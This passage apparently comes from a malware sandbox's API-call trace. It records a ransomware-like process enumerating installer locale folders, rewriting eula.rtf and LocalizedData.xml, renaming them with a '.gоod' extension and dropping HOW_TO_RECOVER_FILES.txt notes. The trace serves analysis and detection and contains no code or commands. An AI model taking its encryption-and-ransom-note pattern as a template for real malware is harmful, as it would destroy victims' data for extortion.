lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0084.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0084.164] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x2e61be65, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12fc4)) returned 1 [0084.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0084.164] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.gоod")) returned 1 [0084.164] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0084.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0084.165] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x798 [0084.165] GetFileType (hFile=0x798) returned 0x1 [0084.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0084.165] GetFileType (hFile=0x798) returned 0x1 [0084.165] WriteFile (in: hFile=0x798, lpBuffer=0x348cc48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x348cc48*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0084.166] CloseHandle (hObject=0x798) returned 1 [0084.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0084.167] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031", lpFilePart=0x0) returned 0x1a [0084.167] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0084.168] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.168] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0084.168] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.168] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.168] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.168] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0084.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0084.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0084.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0084.168] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031", lpFilePart=0x0) returned 0x1a [0084.169] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0084.169] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.169] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.170] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0084.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0084.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0084.170] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\eula.rtf", lpFilePart=0x0) returned 0x23 [0084.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0084.170] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x349bed0 | out: lpFileInformation=0x349bed0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b)) returned 1 [0084.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0084.170] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\eula.rtf", lpFilePart=0x0) returned 0x23 [0084.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0084.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0084.170] GetFileType (hFile=0x798) returned 0x1 [0084.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0084.170] GetFileType (hFile=0x798) returned 0x1 [0084.170] GetFileSize (in: hFile=0x798, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xd5b [0084.170] ReadFile (in: hFile=0x798, lpBuffer=0x349ce38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x349ce38*, lpNumberOfBytesRead=0x1f6edc28*=0xd5b, lpOverlapped=0x0) returned 1 [0084.472] CloseHandle (hObject=0x798) returned 1 [0086.011] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\eula.rtf", lpFilePart=0x0) returned 0x23 [0086.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0086.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0086.012] GetFileType (hFile=0x768) returned 0x1 [0086.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0086.012] GetFileType (hFile=0x768) returned 0x1 [0086.012] WriteFile (in: hFile=0x768, lpBuffer=0x33eef00*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x33eef00*, lpNumberOfBytesWritten=0x1f6edb38*=0xd60, lpOverlapped=0x0) returned 1 [0086.013] CloseHandle (hObject=0x768) returned 1 [0086.013] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\eula.rtf", lpFilePart=0x0) returned 0x23 [0086.013] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0086.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0086.014] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2f7b1640, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd60)) returned 1 [0086.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0086.014] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.gоod")) returned 1 [0086.016] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0086.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0086.016] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x33f00c8 | out: lpFileInformation=0x33f00c8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa)) returned 1 [0086.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0086.016] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0086.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0086.016] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0086.016] GetFileType (hFile=0x768) returned 0x1 [0086.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0086.016] GetFileType (hFile=0x768) returned 0x1 [0086.016] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0086.016] ReadFile (in: hFile=0x768, lpBuffer=0x33f0490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x33f0490*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0086.018] CloseHandle (hObject=0x768) returned 1 [0086.018] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0086.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0086.018] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0086.018] GetFileType (hFile=0x768) returned 0x1 [0086.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0086.018] GetFileType (hFile=0x768) returned 0x1 [0086.018] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x141aa [0086.018] WriteFile (in: hFile=0x768, lpBuffer=0x33f2888*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x33f2888*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0086.019] CloseHandle (hObject=0x768) returned 1 [0086.019] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0086.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0086.019] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0086.019] GetFileType (hFile=0x768) returned 0x1 [0086.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0086.019] GetFileType (hFile=0x768) returned 0x1 [0086.019] ReadFile (in: hFile=0x768, lpBuffer=0x33f4b20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x33f4b20*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0087.313] CloseHandle (hObject=0x768) returned 1 [0087.313] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0087.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0087.313] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0087.313] GetFileType (hFile=0x768) returned 0x1 [0087.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0087.313] GetFileType (hFile=0x768) returned 0x1 [0087.314] WriteFile (in: hFile=0x768, lpBuffer=0x33421e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x33421e8*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0087.314] CloseHandle (hObject=0x768) returned 1 [0087.314] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0087.314] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0087.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0087.314] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3040f7db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x141ba)) returned 1 [0087.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0087.314] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.gоod")) returned 1 [0087.315] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1031\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0087.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0087.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0087.315] GetFileType (hFile=0x768) returned 0x1 [0087.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0087.315] GetFileType (hFile=0x768) returned 0x1 [0087.316] WriteFile (in: hFile=0x768, lpBuffer=0x35e8bf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x35e8bf0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0087.316] CloseHandle (hObject=0x768) returned 1 [0087.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0087.317] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1032", lpFilePart=0x0) returned 0x1a [0087.317] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0088.005] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.006] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, 